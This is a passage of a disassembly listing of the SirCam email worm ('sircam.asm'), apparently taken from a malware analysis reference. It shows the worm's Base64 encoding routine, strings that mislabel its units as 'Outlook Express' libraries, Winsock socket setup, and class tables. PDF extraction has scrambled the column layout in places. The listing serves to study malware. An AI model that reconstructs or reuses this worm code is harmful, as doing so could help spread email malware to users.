; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40F348
proc near
; DATA XREF: CODE:0041A948\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40F36D
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E650
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_40F374
locret_40F36C:
; CODE XREF: sub_40F348+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F36D:
; DATA XREF: sub_40F348+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40F36C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F374:
sub_40F348
; CODE XREF: sub_40F348+24\030j
; DATA XREF: sub_40F348+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40F378:
; DATA XREF: CODE:0041A944\031o
sub
ds:dword_41E650, 1
jnb
short locret_40F3B1
jmp
short locret_40F3B1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
434
aOutlookExpress db ’Outlook Express character transcoding library’,0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
locret_40F3B1:
; CODE XREF: CODE:0040F37F\030j
; CODE:0040F381\030j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40F3B4
proc near
var_2C
var_28
var_8
var_4
=
=
=
=
dword
dword
dword
dword
push
mov
add
push
push
push
xor
mov
mov
mov
mov
mov
call
xor
push
push
push
mov
mov
call
mov
call
mov
test
jle
mov
loc_40F3FA:
ptr
ptr
ptr
ptr
; CODE XREF: sub_4118CC+1A7\031p
; sub_412048+49\031p
-2Ch
-28h
-8
-4
ebp
ebp, esp
esp, 0FFFFFFD4h
ebx
esi
edi
ecx, ecx
[ebp+var_2C], ecx
[ebp+var_8], ecx
esi, edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_40F48F
dword ptr fs:[eax]
fs:[eax], esp
eax, esi
sub_4034C8
eax, [ebp+var_4]
sub_403724
ebx, eax
ebx, ebx
short loc_40F46C
edi, 1
; CODE XREF: sub_40F3B4+B6\031j
lea
eax, [ebp+var_8]
mov
edx, [ebp+var_4]
mov
dl, [edx+edi-1]
call
sub_403670
push
esi
push
edi
mov
esi, offset unk_41D700
lea
edi, [ebp+var_28]
mov
ecx, 8
repe movsd
pop
edi
pop
esi
lea
eax, [ebp+var_28]
mov
edx, offset dword_40F4A0
mov
cl, 20h
call
sub_402A44
mov
eax, [ebp+var_8]
mov
al, [eax]
and
eax, 0FFh
bt
[ebp+var_28], eax
jnb
short loc_40F45E
sircam.asm
Fri Aug 10 12:42:44 2001
lea
mov
movzx
mov
call
mov
lea
mov
call
ecx, [ebp+var_2C]
eax, [ebp+var_8]
eax, byte ptr [eax]
edx, 2
sub_40701C
ecx, [ebp+var_2C]
eax, [ebp+var_8]
edx, offset dword_40F4C8
sub_403770
mov
mov
call
inc
dec
jnz
eax, esi
edx, [ebp+var_8]
sub_40372C
edi
ebx
short loc_40F3FA
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40F3B4+3F\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40F496
loc_40F45E:
; CODE XREF: sub_40F3B4+85\030j
loc_40F46C:
loc_40F479:
sub_40F3B4
435
; CODE XREF: CODE:0040F494\031j
lea
eax, [ebp+var_2C]
call
sub_4034C8
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -40h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F48F:
; DATA XREF: sub_40F3B4+21\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40F479
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F496:
; DATA XREF: sub_40F3B4+C0\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dword_40F4A0
dd 0FFFFFFFEh, 3 dup(0), 5 dup(0FFFFFFFFh), 1 ; DATA XREF: sub_40F3B4+6B
\030o
dword_40F4C8
dd 3Dh
; DATA XREF: sub_40F3B4+A0\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40F4CC
proc near
var_10
var_C
var_B
var_A
var_9
var_8
var_4
=
=
=
=
=
=
=
dword ptr -10h
byte ptr -0Ch
byte ptr -0Bh
byte ptr -0Ah
byte ptr -9
dword ptr -8
dword ptr -4
; CODE XREF: sub_4118CC+105\031p
sircam.asm
Fri Aug 10 12:42:44 2001
436
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFF0h
push
ebx
push
esi
push
edi
xor
ecx, ecx
mov
[ebp+var_10], ecx
mov
edi, edx
mov
[ebp+var_4], eax
mov
eax, [ebp+var_4]
call
sub_4038D8
xor
eax, eax
push
ebp
push
offset loc_40F5FA
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, edi
call
sub_4034C8
mov
[ebp+var_8], 1
jmp
loc_40F5CB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F508:
; CODE XREF: sub_40F4CC+10A\031j
mov
eax, [ebp+var_4]
mov
edx, [ebp+var_8]
mov
al, [eax+edx-1]
inc
[ebp+var_8]
mov
edx, eax
and
dl, 0FCh
and
edx, 0FFh
shr
edx, 2
mov
[ebp+var_C], dl
and
al, 3
shl
eax, 4
mov
[ebp+var_B], al
mov
eax, [ebp+var_4]
call
sub_403724
cmp
eax, [ebp+var_8]
jl
short loc_40F599
mov
eax, [ebp+var_4]
mov
edx, [ebp+var_8]
mov
al, [eax+edx-1]
inc
[ebp+var_8]
mov
edx, eax
and
dl, 0F0h
and
edx, 0FFh
shr
edx, 4
add
[ebp+var_B], dl
and
al, 0Fh
shl
eax, 2
mov
[ebp+var_A], al
mov
eax, [ebp+var_4]
call
sub_403724
cmp
eax, [ebp+var_8]
jl
short loc_40F593
mov
eax, [ebp+var_4]
mov
edx, [ebp+var_8]
mov
al, [eax+edx-1]
inc
[ebp+var_8]
mov
edx, eax
and
dl, 0C0h
and
edx, 0FFh
shr
edx, 6
add
[ebp+var_A], dl
and
al, 3Fh
mov
[ebp+var_9], al
jmp
short loc_40F5A1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
437
loc_40F593:
; CODE XREF: sub_40F4CC+A0\030j
mov
[ebp+var_9], 40h
jmp
short loc_40F5A1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F599:
; CODE XREF: sub_40F4CC+6D\030j
mov
mov
[ebp+var_A], 40h
[ebp+var_9], 40h
loc_40F5A1:
; CODE XREF: sub_40F4CC+C5\030j
; sub_40F4CC+CB\030j
mov
lea
esi, 4
ebx, [ebp+var_C]
lea
xor
mov
mov
; CODE XREF: sub_40F4CC+FD\031j
eax, [ebp+var_10]
edx, edx
dl, [ebx]
ecx, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh
mov
call
mov
mov
call
inc
dec
jnz
dl, [ecx+edx]
sub_403670
edx, [ebp+var_10]
eax, edi
sub_40372C
ebx
esi
short loc_40F5A9
mov
call
cmp
jge
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40F4CC+37\030j
eax, [ebp+var_4]
sub_403724
eax, [ebp+var_8]
loc_40F508
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40F601
loc_40F5A9:
ijklm"...
loc_40F5CB:
loc_40F5E9:
sub_40F4CC
; CODE XREF: CODE:0040F5FF\031j
lea
eax, [ebp+var_10]
call
sub_4034C8
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -24h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F5FA:
; DATA XREF: sub_40F4CC+1E\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40F5E9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F601:
; DATA XREF: sub_40F4CC+118\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 41h
aAbcdefghijklmn db ’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567’
; DATA XREF: sub_40F4CC+E4\030o
db ’89+/=’,0
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
438
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40F654
proc near
; DATA XREF: CODE:0041A950\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40F679
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E654
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_40F680
locret_40F678:
; CODE XREF: sub_40F654+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F679:
; DATA XREF: sub_40F654+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40F678
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F680:
sub_40F654
; CODE XREF: sub_40F654+24\030j
; DATA XREF: sub_40F654+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40F684:
; DATA XREF: CODE:0041A94C\031o
sub
ds:dword_41E654, 1
jnb
short locret_40F6B3
jmp
short locret_40F6B3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
aOutlookExpre_0 db ’Outlook Express coding and decoding’,0
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
locret_40F6B3:
; CODE XREF: CODE:0040F68B\030j
; CODE:0040F68D\030j
retn
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40F6B4
proc near
; CODE XREF: sub_410100+45\031p
mov
ecx, [edx]
cmp
ecx, 40h
jge
short locret_40F6C1
mov
[edx+ecx*4+4], eax
inc
dword ptr [edx]
locret_40F6C1:
sub_40F6B4
; CODE XREF: sub_40F6B4+5\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
sub_40F6C4
sub_40F6C4
Fri Aug 10 12:42:44 2001
proc near
xor
edx, edx
mov
[eax], edx
retn
endp
439
; CODE XREF: sub_410100+39\031p
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_closesocket. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_connect. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_getpeername. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_getsockname. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_htons. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_inet_addr. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_ioctlsocket. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_recv. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_select. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_send. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_socket. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_gethostbyname. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_getprotobynumber. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_getservbyname. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_gethostname. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WSAGetLastError. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WSAStartup. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40F754
proc near
; DATA XREF: CODE:0041A958\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_40F779
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E658
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_40F780
locret_40F778:
; CODE XREF: sub_40F754+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F779:
; DATA XREF: sub_40F754+6\030o
sircam.asm
Fri Aug 10 12:42:44 2001
440
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_40F778
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40F780:
sub_40F754
; CODE XREF: sub_40F754+24\030j
; DATA XREF: sub_40F754+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40F784:
; DATA XREF: CODE:0041A954\031o
sub
ds:dword_41E658, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_40F78C
dd offset dword_40F7D8 ; DATA XREF: sub_40FF9C+55\031r
dd 2 dup(0)
dd offset dword_40F7D8
dd 4 dup(0)
dd offset dword_40F7EA
dd 14h
dd offset off_4061F4
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dword_40F7D8
dd 0Eh, 10000h
; DATA XREF: CODE:0040F78C\030o
; CODE:0040F798\030o
db 2 dup(0)
dd offset off_401000
dd 10h
dword_40F7EA
dd 7953450Dh, 7370616Eh, 72724565h ; DATA XREF: CODE:0040F7AC\030o
db 6Fh, 72h
off_40F7F8
dd offset off_40F844
; DATA XREF: CODE:0040F8B0\031o
dd 2 dup(0)
dd offset dword_40F868
dd 4 dup(0)
dd offset dword_40F87A
dd 1C8h
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_40F96C
off_40F844
dd offset sub_40FAA4
; DATA XREF: CODE:0040F7F8\030o
dd offset sub_40FB94
dd offset sub_40FBBC
dd offset sub_40FBE8
dd offset sub_40FC58
dd offset sub_40FC90
dd offset sub_40FCF0
dd offset sub_40FF04
dd offset sub_40FF2C
dword_40F868
dd 0Eh, 10000h
; DATA XREF: CODE:0040F804\030o
db 2 dup(0)
dd offset off_401000
dd 30h
dword_40F87A
dd 6C42540Ch, 536B636Fh, 656B636Fh ; DATA XREF: CODE:0040F818\030o
db 74h, 90h
sircam.asm
off_40F888
off_40F8D4
dword_40F8F8
\030o
Fri Aug 10 12:42:44 2001
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
441
offset off_40F8D4
; DATA XREF: sub_412D28+1E\031r
7 dup(0)
offset dword_40F8F8
1C8h
offset off_40F7F8
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_40F96C
offset sub_410188
; DATA XREF: CODE:0040F888\030o
offset sub_40FB94
offset sub_40FBBC
offset sub_40FBE8
offset sub_40FC58
offset sub_40FC90
offset sub_40FCF0
offset sub_40FF04
offset sub_40FF2C
4354540Fh, 6F6C4250h, 6F536B63h, 74656B63h ; DATA XREF: CODE:0040F8A8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40F908
proc near
; CODE XREF: sub_412D28+23\031p
push
ebx
push
esi
test
dl, dl
jz
short loc_40F916
add
esp, 0FFFFFFF0h
call
sub_402CDC
loc_40F916:
mov
mov
xor
mov
call
mov
mov
xor
mov
lea
push
push
call
mov
mov
call
mov
call
mov
test
jz
call
pop
add
; CODE XREF: sub_40F908+4\030j
ebx, edx
esi, eax
edx, edx
eax, esi
sub_402BAC
byte ptr [esi+34h], 0
dword ptr [esi+4], 0FFFFFFFFh
eax, eax
[esi+2Ch], eax
eax, [esi+38h]
eax
101h
j_WSAStartup
edx, eax
eax, esi
sub_40FF88
eax, esi
sub_40FF9C
eax, esi
bl, bl
short loc_40F966
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_40F966:
sub_40F908
; CODE XREF: sub_40F908+4D\030j
mov
pop
pop
retn
endp
eax, esi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
442
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40F96C
proc near
push
push
call
mov
mov
mov
call
mov
and
mov
call
test
jle
mov
call
ebx
esi
sub_402D3C
ebx, edx
esi, eax
eax, esi
sub_40FAC8
edx, ebx
dl, 0FCh
eax, esi
sub_402BCC
bl, bl
short loc_40F995
eax, esi
sub_402D2C
pop
pop
retn
endp
esi
ebx
loc_40F995:
sub_40F96C
; DATA XREF: CODE:0040F840\030o
; CODE:0040F8D0\030o
; CODE XREF: sub_40F96C+20\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40F998
proc near
var_4
arg_0
= dword ptr -4
= dword ptr 8
push
mov
push
push
push
push
mov
mov
mov
mov
call
mov
call
xor
push
push
push
mov
mov
xor
mov
call
mov
mov
push
call
mov
xor
test
jz
mov
; CODE XREF: sub_40FAD4+39\031p
ebp
ebp, esp
ecx
ebx
esi
edi
[ebp+var_4], ecx
ebx, edx
esi, eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+arg_0]
sub_4038D8
eax, eax
ebp
offset loc_40FA7D
dword ptr fs:[eax]
fs:[eax], esp
eax, ebx
ecx, ecx
edx, 10h
sub_4028D4
word ptr [ebx], 2
eax, [esi+2Ch]
eax
j_getprotobynumber
esi, eax
eax, eax
esi, esi
short loc_40F9F9
eax, [esi]
sircam.asm
Fri Aug 10 12:42:44 2001
push
mov
call
push
call
443
eax
eax, [ebp+arg_0]
sub_4038E8
eax
j_getservbyname
loc_40F9F9:
; CODE XREF: sub_40F998+4E\030j
test
eax, eax
jnz
short loc_40FA13
xor
edx, edx
mov
eax, [ebp+arg_0]
call
sub_407058
push
eax
call
j_htons
mov
[ebx+2], ax
jmp
short loc_40FA1B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
